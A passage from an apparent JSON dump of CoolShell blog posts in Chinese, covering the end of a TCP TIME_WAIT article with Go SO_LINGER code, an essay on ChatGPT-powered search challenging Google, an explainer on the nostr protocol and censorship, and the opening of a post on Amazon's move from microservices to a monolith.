的客户来说，简直是太完美了，当EaseProbe 探测完后，直接 reset connection， 即不会有功能上的问题，也不会影响服务器，更不会有烦人的 <code> TIME_WAIT</code> 问题。</p>\n<h4>Go 实际操作</h4>\n<p>在 Golang的标准库代码里，<code>net.TCPConn</code> 有个方法 <code>SetLinger()</code>可以完成这个事，使用起来也比较简单：</p>\n<pre class=\"EnlighterJSRAW\">conn, _ := net.DialTimeout(\"tcp\", t.Host, t.Timeout())\n\nif tcpCon, ok := conn.(*net.TCPConn); ok {\n    tcpCon.SetLinger(0)\n}</pre>\n<p>你需要把一个 <code>net.Conn</code>  转型成 <code>net.TCPConn</code>，然后就可以调用方法了。</p>\n<p>但是对于Golang 的标准库中的 HTTP 对象来说，就有点麻烦了，Golang的 http 库把底层的这边连接对象全都包装成私有变量了，你在外面根本获取不到。这篇《<a href=\"https://iximiuz.com/en/posts/go-net-http-setsockopt-example/\" rel=\"noopener\" target=\"_blank\">How to Set Go net/http Socket Options – setsockopt() example</a> 》中给出了下面的方法：</p>\n<pre class=\"EnlighterJSRAW\">dialer := &amp;net.Dialer{\n    Control: func(network, address string, conn syscall.RawConn) error {\n        var operr error\n        if err := conn.Control(func(fd uintptr) {\n            operr = syscall.SetsockoptInt(int(fd), unix.SOL_SOCKET, unix.TCP_QUICKACK, 1)\n        }); err != nil {\n            return err\n        }\n        return operr\n    },\n}\n\nclient := &amp;http.Client{\n    Transport: &amp;http.Transport{\n        DialContext: dialer.DialContext,\n    },\n}</pre>\n<p>上面这个方法非常的低层，需要直接使用setsocketopt这样的系统调用，我其实，还是想使用 <code>TCPConn.SetLinger(0)</code> 来完成这个事，即然都被封装好了，最好还是别破坏封闭性碰底层的东西。</p>\n<p>经过Golang http包的源码阅读和摸索，我使用了下面的方法：</p>\n<pre class=\"EnlighterJSRAW\">client := &amp;http.Client{\n    Timeout: h.Timeout(),\n    Transport: &amp;http.Transport{\n      TLSClientConfig:   tls,\n      DisableKeepAlives: true,\n      DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {\n        d := net.Dialer{Timeout: h.Timeout()}\n        conn, err := d.DialContext(ctx, network, addr)\n        if err != nil {\n          return nil, err\n        }\n        tcpConn, ok := conn.(*net.TCPConn)\n        if ok {\n          tcpConn.SetLinger(0)\n          return tcpConn, nil\n        }\n        return conn, nil\n      },\n    },\n  }</pre>\n<p>然后，我找来了全球 T0p 100W的域名，然后在AWS上开了一台服务器，用脚本生成了 TOP 10K 和 20K 的网站来以5s, 10s, 30s, 60s的间隔进行探活，搞到Cloudflare 的 1.1.1.1 DNS 时不时就把我拉黑，最后的测试结果也非常不错，根本 没有 TIME_WAIT 的链接，相关的测试方法、测试数据和测试报告可以参看：<a href=\"https://github.com/megaease/easeprobe/blob/main/docs/Benchmark.md\" rel=\"noopener\" target=\"_blank\">Benchmark Report</a></p>\n<h4>总结</h4>\n<p>下面是几点总结</p>\n<ul>\n<li><code>TIME_WAIT</code> 是一个TCP 协议完整性的手段，虽然会有一定的副作用，但是这个设计是非常关键的，最好不要妥协掉。</li>\n<li>永远不要使用  <code>tcp_tw_recycle</code> ，这个参数是个巨龙，破坏力极大。</li>\n<li>服务器端永远不要使用  <code>SO_LINGER(0)</code>，而且使用 <code>tcp_tw_reuse</code> 对服务端意义不大，因为它只对出站流量有用。</li>\n<li>在服务端上最好不要主动断链接，设置好KeepAlive，重用链接，让客户端主动断链接。</li>\n<li>在客户端上可以使用 <code>tcp_tw_reuse</code>  和 <code>SO_LINGER(0)</code>。</li>\n</ul>\n<p>最后强烈推荐阅读这篇文章 – <a href=\"https://vincent.bernat.ch/en/blog/2014-tcp-time-wait-state-linux\" rel=\"noopener\" target=\"_blank\">Coping with the TCP TIME-WAIT state on busy Linux servers</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11564.html\"><img alt=\"TCP 的那些事儿（上）\" height=\"150\" src=\"../wp-content/uploads/2014/05/tin-can-phone-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11564.html\">TCP 的那些事儿（上）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19840.html\"><img alt=\"HTTP的前世今生\" height=\"150\" src=\"../wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19840.html\">HTTP的前世今生</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11609.html\"><img alt=\"TCP 的那些事儿（下）\" height=\"150\" src=\"../wp-content/uploads/2014/05/xin_2001040422167711230318-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11609.html\">TCP 的那些事儿（下）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9859.html\"><img alt=\"Alan Cox：单向链表中prev指针的妙用\" height=\"150\" src=\"../wp-content/uploads/2013/06/Alan-Cox-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9859.html\">Alan Cox：单向链表中prev指针的妙用</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7490.html\"><img alt=\"性能调优攻略\" height=\"150\" src=\"../wp-content/uploads/2012/06/f1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1484.html\"><img alt=\"TCP网络关闭的状态变换时序图\" height=\"150\" src=\"../wp-content/uploads/2009/09/tcp1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1484.html\">TCP网络关闭的状态变换时序图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/22263.html\">从一次经历谈 TIME_WAIT 的那些事</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2023-2-11 我看ChatGPT 为啥谷歌掉了千亿美金.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium wp-image-22405\" height=\"200\" src=\"../wp-content/uploads/2023/02/chatgpt-300x200.jpg\" width=\"300\"/>两个月前，我试着想用 ChatGPT 帮我写篇文章《<a href=\"https://coolshell.cn/articles/22320.html\" title=\"eBPF 介绍\">eBPF 介绍</a>》，结果错误百出，导致我又要从头改一遍，从那天我觉得 ChatGPT 生成的内容完全不靠谱，所以，从那天开始我说我不会再用 ChatGPT 来写文章（这篇文章不是由 ChatGPT 生成），因为，在试过一段时间后，我对 ChatGTP 有基于如下的认识：</p>\n<ol>\n<li><strong>ChatGPT 不是基于事实，是基于语言模型的</strong>，事实对他来说不重要，对他重要的是他能读懂你的问题，并按照一定的套路回答你的问题。</li>\n<li><strong>因为是基于套路的回答，所以，他并不能保证内容是对的，他的目标是找到漂亮的精彩的套路</strong>，于是，你会发现，他的内容组织能力和表述还不错，但是只要你认真玩上一段时间，你会发现，ChatGPT 那些表述的套路其实也比较平常一般。它的很多回答其实都不深，只能在表面上。就像 Github 的 Copilot 一样，写不了什么高级的代码，只能帮你写一些常规格式化的代码（当然，这也够了）</li>\n</ol>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_22417\" style=\"width: 640px;\"><img alt=\"\" class=\"wp-image-22417 size-large\" height=\"533\" src=\"../wp-content/uploads/2023/02/chatgpt.example-1024x853.jpg\" width=\"640\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-22417\">ChatGPT 就是一个语言模型，如果不给他足够的数据和信息，它基本就是在胡编乱造</figcaption></figure>\n<p>所以，基于上面这两个点认识，以发展的眼光来看问题，我觉得 ChatGPT 这类的 AI 可以成为一个小助理，他的确可以干掉那些初级的脑力工作者，但是，还干不掉专业的人士，这个我估计未来也很难，不过，这也很帅了，因为大量普通的工作的确也很让人费时间和精力，<strong>但是有个前提条件——就是ChatGPT所产生的内容必需是真实可靠的，没有这个前提条件的话，那就什么用也没有了</strong>。</p>\n<p>今天，我想从另外一个角度来谈谈 ChatGPT，尤其是我在Youtube上看完了微软的发布会《<a href=\"https://youtu.be/rOeRWRJ16yY\" rel=\"noopener\" target=\"_blank\">Introducing your copilot for the web: AI-powered Bing and Microsoft Edge</a> 》，才真正意识到Google 的市值为什么会掉了1000亿美元，是的，<strong>谷歌的搜索引擎的霸主位置受到了前所未有的挑战</strong>……</p>\n<p><span id=\"more-22398\"></span></p>\n<p>我们先来分析一下搜索引擎解决了什么样的用户问题，在我看来搜索引擎解决了如下的问题：</p>\n<ul>\n<li><strong>知识或信息索引</strong>。查新闻，查股票，查历史，查文档，找答案……</li>\n<li><strong>找服务提供商</strong>。找卖东西的电商，找帮你修东西的服务，找软件……</li>\n<li><strong>信息的准确和可靠</strong>。搜索引擎的rank算法保证了最准确、最有用、最权威的信息出现在最前面……（作恶的百度不在此列）</li>\n</ul>\n<p>基本上就是上面这几个，搜索引擎在上面这几件事上作的很好，但是，还是有一些东西搜索引擎做的并不好，如：</p>\n<ul>\n<li><strong>搜索引擎是基于关键词的，不是基于语义的</strong>。所以，搜索引擎并不知道你的真实需求，因此，你会不可避免地要干下面的事，\n<ul>\n<li>你经常要不断地增加或调整不同的关键词来提高查询信息的准确度……</li>\n<li>你经常要在你查找的信息中进行二次或多次过滤和筛选……</li>\n</ul>\n</li>\n<li><strong>搜索引擎是只能呈现内容，无法解读内容</strong>。所以，你找到相关的链接后，你还要花大量的时间来阅读理解，经常性的你不可避免的要干下面的事：\n<ul>\n<li>打开一个链接，读到了一大半后，发现你要的内容不在其中，只能关掉再打开一个……</li>\n<li>你想要的内容是在的，但是太晦涩，看不懂，太费解，你要找小白友好的版本……</li>\n<li>你想要的内容不完整，你需要在很多个链接和网页上做拼图游戏……</li>\n<li>内容是无法结构化的展示的，你搜到的东西全都是碎片信息</li>\n</ul>\n</li>\n<li><strong>搜索引擎没有上下文关联，两次搜索是没有关系的</strong>。也就是说，人知道的越多，问题也就越多，所以，我们经常会面临下面的问题：\n<ul>\n<li>随着我了解的越多，我的信息搜索的会出现分支，这个分支只有我自己的管理，搜索引擎是不关心的，导致我每次都相当于从头开始……</li>\n<li>你做计划的时候，你需要从多个不同的搜索中获取你想要的东西，最终组合成你定制化的东西，比如做旅游计划……</li>\n</ul>\n</li>\n</ul>\n<p>好了，我们知道，<strong>ChatGPT 这类的技术主要是用来根据用户的需求来按一定的套路来“生成内容”的</strong>，只是其中的内容并不怎么可靠，那么，如果把搜索引擎里靠谱的内容交给 ChatGPT 呢？那么，这会是一个多么强大的搜索引擎啊，完全就是下一代的搜索引擎，上面的那些问题完全都可以解决了：</p>\n<ul>\n<li>你可以打一段话给搜索引擎，ChatGPT 是读得懂语义的。</li>\n<li>因为知道语义，于是在众多搜过结果中，他更知道哪些是你想要的内容。</li>\n<li>ChatGPT 可以帮你生成 <a href=\"https://en.wikipedia.org/wiki/TL;DR\" rel=\"noopener\" target=\"_blank\">TL;DR</a>，把长文中的要求总结出来形成更易读的短文</li>\n<li>ChatGPT 可以帮你整理内容，在多个网页中帮你整合和结构化内容</li>\n<li>ChatGPT 可以有上下文对话，你可以让他帮你不断通过更多的关键词搜索信息，并在同一个主题下生成、组织和优化内容</li>\n</ul>\n<p><strong>一旦 ChatGPT 利用上了搜索引擎内容准确和靠谱的优势，那么，ChatGPT 的能力就完全被释放出来了，所以，带 ChatGPT 的搜索引擎，就是真正的“如虎添翼”！</strong></p>\n<p>因此，微软的 Bing + ChatGPT，成为了 Google 有史以来最大的挑战者，我感觉——所有跟信息或是文字处理相关的软件应用和服务，都会因为 ChatGPT 而且全部重新洗一次牌的，这应该会是新一轮的技术革命……<strong>Copilot 一定会成为下一代软件和应用的标配！</strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9508.html\"><img alt=\"PFIF网上寻人协议\" height=\"150\" src=\"../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5815.html\"><img alt=\"来信， 创业 和 移动互联网\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5701.html\"><img alt=\"SteveY对Amazon和Google平台的吐槽\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5701.html\">SteveY对Amazon和Google平台的吐槽</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3806.html\"><img alt=\"Google图片搜索下的的C String\" height=\"150\" src=\"../wp-content/uploads/2011/02/C_String-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3806.html\">Google图片搜索下的的C String</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2023-2-3 聊聊 nostr 和 审查.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium wp-image-22368\" height=\"150\" src=\"../wp-content/uploads/2023/02/nostr-aplicacion-descentralizada-1140x570-1-300x150.png\" width=\"300\"/>这两天在网络上又有一个东西火了，Twitter 的创始人 <a href=\"https://twitter.com/jack\">@jack</a> 新的社交 iOS App  <a href=\"https://apps.apple.com/ca/app/damus/id1628663131\" rel=\"noopener\" target=\"_blank\">Damus</a> 上苹果商店（第二天就因为违反中国法律在中国区下架了），这个软件是一个去中心化的 Twitter，使用到的是 nostr – Notes and Other Stuff Transmitted by Relays 的协议（<a href=\"https://github.com/nostr-protocol/nostr\" rel=\"noopener\" target=\"_blank\">协议简介</a>，<a href=\"https://github.com/nostr-protocol/nips\" rel=\"noopener\" target=\"_blank\">协议细节</a>），协议简介中有很大的篇幅是在批评Twitter和其相类似的中心化的产品，如：<a href=\"https://mastodon.social/\" rel=\"noopener\" target=\"_blank\">Mastodon</a> 和 <a href=\"https://scuttlebutt.nz/\" rel=\"noopener\" target=\"_blank\">Secure Scuttlebutt</a> 。我顺着去看了一下这个协议，发现这个协议真是非常的简单，简单到几句话就可以讲清楚了。</p>\n<h4>通讯过程</h4>\n<ul>\n<li>这个协议中有两个东西，一个是 client，一个是 relay，client 就是用户社交的客户端，relay 就是转发服务器。</li>\n<li>用户不需要注册，用户只需要有一个密钥对（公钥+私钥）就好了，然后把要发的信息做签名，发给一组 relays</li>\n<li>然后你的 Follower 就可以从这些 relays 上订阅到你的信息。</li>\n</ul>\n<p><span id=\"more-22367\"></span></p>\n<h4>技术细节摘要</h4>\n<ul>\n<li>技术实现上，nostr 使用 websocket + JSON 的方式。其中主要是下面这么几个指令\n<ul>\n<li>Client 到 Relay主要是下面这几个指令：\n<ul>\n<li><code>EVENT</code>。发出事件，可以扩展出很多很多的动作来，比如：发信息，删信息，迁移信息，建 Channel ……扩展性很好。</li>\n<li><code>REQ</code>。用于请求事件和订阅更新。收到<code>REQ</code>消息后，relay 会查询其内部数据库并返回与过滤器匹配的事件，然后存储该过滤器，并将其接收的所有未来事件再次发送到同一websocket，直到websocket关闭。</li>\n<li><code>CLOSE</code>。用于停止被 <code>REQ</code> 请求的订阅。</li>\n</ul>\n</li>\n<li>Relay 到 Client 主要是下面几个指令：\n<ul>\n<li><code>EVENT</code>。用于发送客户端请求的事件。</li>\n<li><code>NOTICE</code>。用于向客户端发送人类可读的错误消息或其他信息</li>\n</ul>\n</li>\n</ul>\n</li>\n<li>关于 <code>EVENT</code> 下面是几个常用的基本事件：\n<ul>\n<li><code>0</code>: <code>set_metadata</code>：比如，用户名，用户头像，用户简介等这样的信息。</li>\n<li><code>1</code>: <code>text_note</code>：用户要发的信息内容</li>\n<li><code>2</code>： <code>recommend_server</code>：用户想要推荐给关注者的Relay的URL（例如<code>wss://somerelay.com</code>）</li>\n</ul>\n</li>\n</ul>\n<h4>如何对抗网络审查</h4>\n<p>那么，这个协议是如何对抗网络审查的？</p>\n<ul>\n<li>识别你的身份是通过你的签名，所以，只要你的私钥还在，你是不会被删号的</li>\n<li>任何人都可以运行一个或多个relay，所以，就很难有人控制所有的relay</li>\n<li>你还可以很方便的告诉其中的 relay 把你发的信息迁到另一个 relay 上</li>\n<li>你的信息是一次发给多个relay的，所以，只要不是所有的热门realy封了你，你就可以发出信息</li>\n<li>每个relay的运营者都可以自己制定规则，会审查哪些类型内容。用户据此选择即可。基本不会有一个全局的规则。</li>\n<li>如果你被全部的relay封了，你还是可以自建你的relay，然后，你可以通过各种方式告诉你身边的人你的relay服务器是什么？这样，他们把这个relay服务器加到他们的client列表中，你又可以从社死中复活了。</li>\n</ul>\n<p>嗯，听起来很简单，整个网络是构建在一种 “社区式”的松散结构，完全可能会出现若干个 relay zone。这种架构就像是互联网的架构，没有中心化，比如 DNS服务器和Email服务器一样，只要你愿意，你完全可以发展出自己圈子里的“私服”。</p>\n<p>其实，电子邮件是很难被封禁和审查的。我记得2003年中国非典的时候，我当时在北京，当时的卫生部部长说已经控制住了，才12个人感染，当局也在控制舆论和删除互联网上所有的真实信息。但是，大家都在用电子邮件传播信息，当时基本没有什么社交软件，大家分享信息都是通过邮件，尤其是外企工作的圈子，当时每天都要收很多的非典的群发邮件，大家还都是用公司的邮件服务器发……这种松散的，点对点的架构，让审查是基本不可能的。其实，<strong>我觉得 nostr 就是另外一个变种或是升级版的 email 的形式</strong>。</p>\n<h4>如何对抗Spam和骗子</h4>\n<p>但是问题来了，如果不能删号封人的话，那么如何对抗那些制造Spam，骗子或是反人类的信息呢？nostr目前的解决方案是通过比特币闪电网络。比如有些客户端实现了如果对方没有follow 你，如果给他发私信，需要支付一点点btc ，或是relay要求你给btc才给你发信息（注：我不认为这是一个好的方法，因为：1）因为少数的坏人让大多数正常人也要跟着付出成本，这是个糟糕的治理方式，2）不鼓励那些生产内容的人，那么平台就没有任何价值了）。</p>\n<p>不过，我觉得也有可以有下面的这些思路：</p>\n<ul>\n<li>用户主动拉黑，但很明显这个效率不高，而且体验不好</li>\n<li>社区或是同盟维护一个黑名单，relay定期更新（如同email中防垃圾邮件也是这样搞的），这其实也是审查。</li>\n<li>防Spam的算法过滤垃圾信息（如同email中干的），自动化审查。</li>\n<li>增加发Spam的成本，如: PoW 工作量证明（比特币的挖矿，最早也是用于Email），发信息要花钱（这个对正常用户伤害太大了）等。</li>\n<li>……</li>\n</ul>\n<p>总之，还是有相应的方法的，但是一定没有完美解，email对抗了这么多年，你还是可以收到大量的垃圾邮件和钓鱼邮件，所以，我觉得 nostr 也不可能做到……</p>\n<h4>怎么理解审查</h4>\n<p>最后，我们要明白的是，<strong>无论你用什么方法，审查是肯定需要的，所以，我觉得要完全干掉审查，最终的结果就是一个到处都垃圾内容的地方！</strong></p>\n<p><strong>我理解的审查不应该是为权力或是个体服务的，而是为大众和人民服务的，所以，审查必然是要有一个开放和共同决策的流程，而不是独断的</strong>。</p>\n<p>这点可以参考开源软件基金会的运作模式。</p>\n<ul>\n<li>最底端的是用户（User）参与开源社区的使用并提供问题和反馈。</li>\n<li>用户在使用过程中了解项目情况后贡献代码和文档就可以晋升为贡献者（Contributors），</li>\n<li>当贡献者提交一定数量贡献之后就可以晋升为提交者（Committers），此时你将拥有你参与仓库的代码读写权限。</li>\n<li>当提交者Committers在社区得到认可后，由项目管理委员会（PMC）选举并产生PMC成员（类似于议员），PMC成员拥有社区相关事务的投票、提名和共同决策权利和义务。</li>\n</ul>\n<p>注意下面几点</p>\n<ul>\n<li>整个社区的决策者，是要通过自己贡献来挣到被选举权的。</li>\n<li>社区所有的工作和决定都是要公开的。</li>\n<li>社区的方向和决策都是要投票的，PMC成员有binding的票权，大众也有non-binding的投票权供参考。</li>\n<li><strong>如果出现了价值观的不同，那么，直接分裂社区就好了，不同价值观的人加入到不同的社区就好了</strong>。</li>\n</ul>\n<p>如果审查是在这个框架下运作的话，虽然不完美，但至少会在一种公允的基础下运作，是透明公开的，也是集体决策的。</p>\n<p>开源软件社区是一个很成功的示范，所以，我觉得只有技术而没有一个良性的可持续运作的社区，是不可能解决问题的，<strong>干净整齐的环境是一定要有人打扫和整理的</strong>。</p>\n<p> </p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_22371\" style=\"width: 300px;\"><img alt=\"欢迎关注我 npub1w6r99545cxea6z76e8nvzjxnymjt4nrsddld33almtm78z7fz95s3c94nu\" class=\"wp-image-22371 size-medium\" height=\"289\" src=\"../wp-content/uploads/2023/02/IMG_2533-300x289.jpg\" width=\"300\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-22371\">欢迎关注我 npub1w6r99545cxea6z76e8nvzjxnymjt4nrsddld33almtm78z7fz95s3c94nu</figcaption></figure>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9859.html\"><img alt=\"Alan Cox：单向链表中prev指针的妙用\" height=\"150\" src=\"../wp-content/uploads/2013/06/Alan-Cox-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9859.html\">Alan Cox：单向链表中prev指针的妙用</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5247.html\"><img alt=\"国内微博和Twitter的最大不同\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5247.html\">国内微博和Twitter的最大不同</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/25.html\"><img alt=\"如何上网觅无踪\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/25.html\">如何上网觅无踪</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7755.html\"><img alt=\"Git显示漂亮日志的小技巧\" height=\"150\" src=\"../wp-content/uploads/2012/06/git.log_.01-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7755.html\">Git显示漂亮日志的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1379.html\"><img alt=\"如何调试bash脚本\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1379.html\">如何调试bash脚本</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/22367.html\">聊聊 nostr 和 审查</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2023-5-8 是微服务架构不香还是云不香？.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium wp-image-22424\" height=\"200\" src=\"../wp-content/uploads/2023/05/monolith.microservices-300x200.png\" width=\"300\"/>这两天技术圈里热议的一件事就是Amazon的流媒体平台Prime Video在2023年3月22日发布了一篇技术博客《<a href=\"https://www.primevideotech.com/video-streaming/scaling-up-the-prime-video-audio-video-monitoring-service-and-reducing-costs-by-90\" rel=\"noopener\" target=\"_blank\" title=\"Scaling up the Prime Video audio/video monitoring service and reducing costs by 90%\">规模化Prime Video的音视频监控服务，成本降低90%</a>》，副标题：“<strong>从分布式微服务架构到单体应用程序的转变有助于实现更高的规模、弹性和降低成本</strong>”，有人把这篇文章在五一期间转到了<a href=\"https://www.reddit.com/r/programming/comments/137alxn/prime_video_switched_from_serverless_to_ec2_and/\" rel=\"noopener\" target=\"_blank\">reddit</a> 和 <a href=\"https://news.ycombinator.com/item?id=35811741\" rel=\"noopener\" target=\"_blank\">hacker news</a> 上，在Reddit上热议。这种话题与业内推崇的微服务架构形成了鲜明的对比。从“微服务架构”转“单体架构”，还是Amazon干的，这个话题足够劲爆。然后DHH在刚<a href=\"https://twitter.com/dhh/status/1655076668787097607\" rel=\"noopener\" target=\"_blank\">喷完Typescript</a>后继续发文《<a href=\"https://world.hey.com/dhh/even-amazon-can-t-make-sense-of-serverless-or-microservices-59625580\" rel=\"noopener\" target=\"_blank\">即便是亚马逊也无法理解Servless或微服务</a>》，继续抨击微服务架构，于是，瞬间引爆技术圈，登上技术圈热搜。</p>\n<p>今天上午有好几个朋友在微信里转了三篇文章给我，如下所示：</p>\n<ul>\n<li>《<a href=\"https://mp.weixin.qq.com/s/mEmz8pviahEAWy1-SA8vcg\" rel=\"noopener\" target=\"_blank\">微服务是不是个蠢主意？</a>》</li>\n<li>《<a href=\"https://mp.weixin.qq.com/s/7zm5YyeZhQ2mu2TJvOK5tQ\" rel=\"noopener\" target=\"_blank\">单体回归？亚马逊放弃用于视频监控的微服务</a> 》</li>\n<li>《<a href=\"https://mp.weixin.qq.com/s/fQtAMf4BfJxdBPWDE5ygwg\" rel=\"noopener\" target=\"_blank\">从微服务转为单体架构、成本降低 90%，亚马逊内部案例引发轰动</a>》</li>\n</ul>\n<p>看看这些标题就知道这些文章要的是流量而不是好好写篇文章。看到第二篇，你还真当 Prime Video 就是 Amazon 的全部么？然后，再看看这些文章后面的跟风评论，我觉得有 80%的人只看标题，而且是连原文都不看的。所以，我想我得写篇文章了……</p>\n<p><span 